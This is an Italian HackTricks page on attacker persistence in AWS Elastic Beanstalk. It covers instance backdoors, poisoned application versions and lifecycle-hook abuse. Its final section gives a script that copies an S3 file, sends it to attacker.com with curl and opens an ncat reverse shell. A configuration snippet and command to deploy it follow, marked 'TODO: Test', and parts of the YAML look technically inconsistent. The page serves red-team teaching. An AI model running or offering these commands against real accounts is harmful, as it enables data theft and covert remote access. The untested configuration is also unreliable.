AWS - Elastic Beanstalk Persistence

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Elastic Beanstalk

Per ulteriori informazioni, controlla:

pageAWS - Elastic Beanstalk Enum

Persistenza nell'istanza

Per mantenere la persistenza all'interno dell'account AWS, potrebbe essere introdotto un meccanismo di persistenza all'interno dell'istanza (lavoro cron, chiave ssh...) in modo che l'attaccante possa accedervi e rubare le credenziali del ruolo IAM dal servizio di metadati.

Backdoor nella versione

Un attaccante potrebbe inserire un backdoor nel codice all'interno del repository S3 in modo che esegua sempre il backdoor e il codice previsto.

Nuova versione backdoor

Invece di modificare il codice nella versione attuale, l'attaccante potrebbe distribuire una nuova versione backdoor dell'applicazione.

Abuso degli hook del ciclo di vita delle risorse personalizzate

TODO: Test

Elastic Beanstalk fornisce hook del ciclo di vita che consentono di eseguire script personalizzati durante la creazione e la terminazione dell'istanza. Un attaccante potrebbe configurare un hook del ciclo di vita per eseguire periodicamente uno script che esfila dati o mantiene l'accesso all'account AWS.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated